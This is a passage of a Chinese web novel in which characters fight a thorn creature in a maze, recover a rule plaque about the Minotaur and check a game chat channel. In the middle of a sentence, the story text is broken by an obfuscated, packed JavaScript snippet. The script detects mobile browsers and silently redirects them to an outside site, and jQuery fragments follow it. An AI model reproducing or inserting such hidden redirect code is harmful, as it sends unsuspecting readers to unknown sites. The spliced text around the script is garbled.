然而他下一秒便被温晗拽着手臂朝侧边躲去,险而又险地避开了袭来的荆棘。
“还你的,”温晗的声音压在耳边,带着股狠劲:“再犯蠢就自己赔命。”
“好凶。”
梨顾北也是缓过来了,悻悻地摸了摸鼻子。
温晗没理他,目光滑过眼前由荆棘缠绕成球的东西,最终落在了它身旁的“人形”上。
除去神情,它的确和白毛长得一模一样,甚至在隐隐控制着荆棘的攻击动作。
“不是,它怎么出来的?”
梨顾北也纳闷,因为曼德拉草根在他们穿过拱门后便全数消失了,可这个被模拟出来的人形居然能跟到这里。
温晗提醒说,“它自己出不来,就是有东西在帮它。”
但帮它的东西明显不怀好意,否则也不会让它单枪匹马地跑来送死。
温晗背着手,上头纤细交错的尖刺轻轻摩擦着,似乎已经迫不及待,又似在摩擦割断着什么东西。
荆棘率先行动起来,借着漆黑的天色开始迅速蔓延。
梨顾北:“贺言,把除草剂拿出来,别让它把我们裹进去!”
“知道。”
贺言迅速将喷壶嘴对准了四周的荆棘,压根不敢眨眼,恍惚间却瞥见一道黑影瞬间闪过。
贺言:“?!”
“温晗!”
梨顾北也没想到,这个小子竟然能疯成这样,一声不吭地就冲了上去。
他想前去帮忙,却被堆叠而上的荆棘阻挡了去路。
那些东西的尖刺青紫,隐匿在并不明亮的环境里,随时准备袭击。
梨顾北沉默片刻,转身欲动,桃粉色的蝴蝶兰迅速包裹了整条手臂。
“接着!”
贺言朝他扔了把短刀。
“好,”梨顾北语气平静:“谢了。”
等等,我刚才接了个什么来着?
哦,短刀啊,还以为是什么呢。
被温晗不按常理摧残好几年后,他现在觉得自己强得可怕。
随着他在这边不断地靠近荆棘丛,温晗也是同“白毛”交上了手。
他避开挥砍,这家伙不知从哪儿捡来的武器,上边遍布铁锈,顺着动作簌簌朝下掉着渣。
温晗擦身掠过,那些荆棘却趁机摸了过来,令他陡然止住了朝前的动作,眉眼距离尖刺不过几厘米。
借此机会,它再次举起武器,带着十足的力道朝温晗挥砍而去。
温晗见状仰身,单手撑地,近乎是以一种难以置信的柔韧度躲开了攻击,如猫一般轻盈落地。
他伸手拨开荆棘,掌边异变的尖刺直接咬了上去,又被他转身挥刀的惯性狠狠扯出。
“白毛”一时躲闪不及,身形微颤。
“到我了。”
温晗不知何时出现在它身后,嘴角翘起弧度,甚至有些迫不及待。
他一拳击中它的颧骨,同时挥臂甩过荆棘,用早已割下的背包背带牢牢捆住,借着晕眩的间隙缠绕上它的脖颈。
他将人压在地上,膝盖抵着后背,偏偏骨节分明的手用力向上拽着,力道强横又不可忽视。
几息之后,一切归于平静。
温晗低头看去,发现它已经了无生息,整个下半身都变成了枯死的巨型草根。
他站起身,拿起被扔在一旁的背包,平复着气息。
里头的玩偶仍在努力地敲着背包,温晗缓了缓,才解开拴住拉链的细绳。
小玩偶哭唧唧地爬了出来,趴在他的手腕上,轻轻蹭着。
“好了,”温晗一点没有心虚,以指腹揉着玩偶的脑袋,简单解释说,“这不是怕你掉出来吗。”
话音刚落,小玩偶便前仰后伏地抱住了他的手指,怎么也不肯撒手。
温晗敷衍道:“嗯嗯,知道了。”
他得去看看,梨顾北好像快要死了。
哦,看错了,是贺言。
温晗又将小玩偶塞回背包,末了还加上一句,“还是注意一下比较好。”
小玩偶:?
它朝下看去,“嘤”了一声,默默扯过一旁的东西遮了遮。
温晗笑意愈深,迅速折返。
而在贺言那边,在下压中,他明显感觉喷壶传来了一阵微弱的阻塞感。
他赫然回头,神情严肃。
“啊?”白毛也被吓得又朝后退了退,询问,“是不是快没了?”
贺言点头,沉默不语。
“你你你!”
白毛在不断地朝后退,紧绷着身子,时刻准备撒腿开跑。
贺言则握紧了喷壶,用力得指节都在泛白。
片刻,他深深地呼出一口气,看向常怀玉,示意他先走。
常怀玉先是一惊,随后坚定地摇了摇头。
“小言,你......”
血腥气越发浓重起来,他刚开口,便被温晗按住了肩。
气味又浓重了几分。
“为什么不走?多好的逃命机会。”
温晗询问得分外真诚。
常怀玉同样正色回答:“有些东西,远比老头子的这条命重要。”
闻言,温晗略微睁大眼睛,那瞬间的神情像极了一只好奇的流浪猫。
二人谁也没有挪开视线。
温晗便看着常怀玉逐渐变换的眼神,嗤笑一声。
又是这样的眼神,以为自己变成这样是受了多大的委屈,与常人格格不入一定是有某种不能言说的苦衷。
去他妈的不能言说。
还苦衷呢。
温晗认为自己可威风,至少现在绝大部分的人都不敢再欺负自己了。
这样就够了。
温晗点点头,随即提高了声,音朝梨顾北所在的方向喊道:“能出来吗?”
那是被层层荆棘覆盖的一段道路,从这里只能大概看见里边的情况。
“等等,我拿个东西。这玩意有点麻烦,但它们好像变蠢了。”
梨顾北的声音隐约传了回来。
闻言,温晗笑嘻嘻地,朝贺言伸出手,“喷壶给我。”
“好。”
贺言给得分外干脆,令一旁的白毛看得瞪大了眼。
不是,兄弟,你就这样给他了?
温晗不轻不重地扫了眼白毛,对贺言说,“你们先走,这些东西没有脑子,比之前好对付多了。”
贺言点了点头。
白毛:好对付多了?
但他识趣地没有多问,只是掂了掂脚,时刻准备冲出去。
温晗将剩下的除草剂带在身上,探进了荆棘丛生的内里。
如他所言,这些荆棘远不像一开始那般具有攻击力。
因为它们的“大脑”——“白毛”已经死亡,失去了指令,它们就变得“笨”了许多,在被温晗用除草剂浇过根茎后,便瑟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978649|136174||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
缩着后退去。
没过多久,他便看见了蹲在地上的梨顾北。
那人似乎在观察着什么东西,甚至试探性地伸出了手。
温晗连忙凑上去,问:“玩什么呢?”
梨顾北头也不回地戳了戳花瓣,“这玩意居然会开花。”
“丑。”温晗摇了摇头。
“是不好看,”梨顾北认同地点了点头,又说,“但你看前边。”
天色正好地亮了几分,温晗抬眼朝前望去,发现这种深红色的花,竟然在不知不觉间开了一片。
“还是丑。”
温晗补充。
“没让你看花,”梨顾北则扶额解释道,指了指:“就在前边,看见了吗?”
温晗:“嗯,笼子。”
那是一座巨大的铁笼,有着明显的损坏痕迹,几根柱子被从中断开,底下堆满了死去不久的尸体。
而它周围的迷宫墙壁,则被这些荆棘蛮横地破开了道口子,所以才令他们得以在这里看见。
“拿到了。”
梨顾北折腾许久,终于站起身,将一枚被花汁侵红的铭牌扔了过来。
温晗抬手接住,迅速扫过一眼。
上边写着——
第十条规则:可到了后来,当我们再次看见米诺陶诺斯时,发现他已经变得足够年轻,即使他的外貌与从前稍有不同。
“如果我没记错,”梨顾北一边拨开荆棘,一边说,“这个应该是和贺言的那个铭牌连起来了。”
温晗颔首,“嗯,是连起来的。”
贺言的铭牌上说米诺陶诺斯垂垂老矣,甚至可以闻见泥土的气味;下一块铭牌却紧接着告诉他们,米诺陶诺斯已经变得足够年轻。
梨顾北说道:“先出去吧。”
看着尸体的数量,这里的铭牌数量一定不少,但他们没有时间与精力再去一点点寻找了。
离开时,温晗侧过身,看向层层荆棘之后。
那个笼子里曾经关着什么东西?
以及......
米诺陶诺斯还在跟着我们吗?
温晗回过头,眼中闪过疑惑。
他似乎听见了不远处谁人挥动长鞭的声音,很熟悉,令他有些......恍惚。
他迅速回过神,跟上了前边梨顾北的脚步。
天还没完全亮起来,贺言他们也没有走多远。
不过几个转角,前边便隐约传来了熟悉的声音。
“这也太不当人了!她才几岁?!”
白毛的声音义愤填膺,倒是令梨顾北二人一愣。
他们倒是第一次听见这人嘴里说出人话。
走近后,贺言看了他们一眼,点了点头,让开了位置。
此时的白毛正蹲着身子拿着糖,试探性地朝前递去。
他自然也察觉了身后的动静,回头询问:“哦,你们活着出来了。”
听起来还挺惋惜。
梨顾北:“这是......”
白毛解释说,“半才遇见的,这孩子才几岁,怎么能......嗯?”
“她跑了。”
温晗点了点头,陈述事实。
同时,贺言也说,“看公频。”
屏幕投影上,消息迅速地刷着。
温晗朝上滚动,找到了引起这般讨论的发言——
[哥们,我迷宫地图跑了,你们谁看见了?!]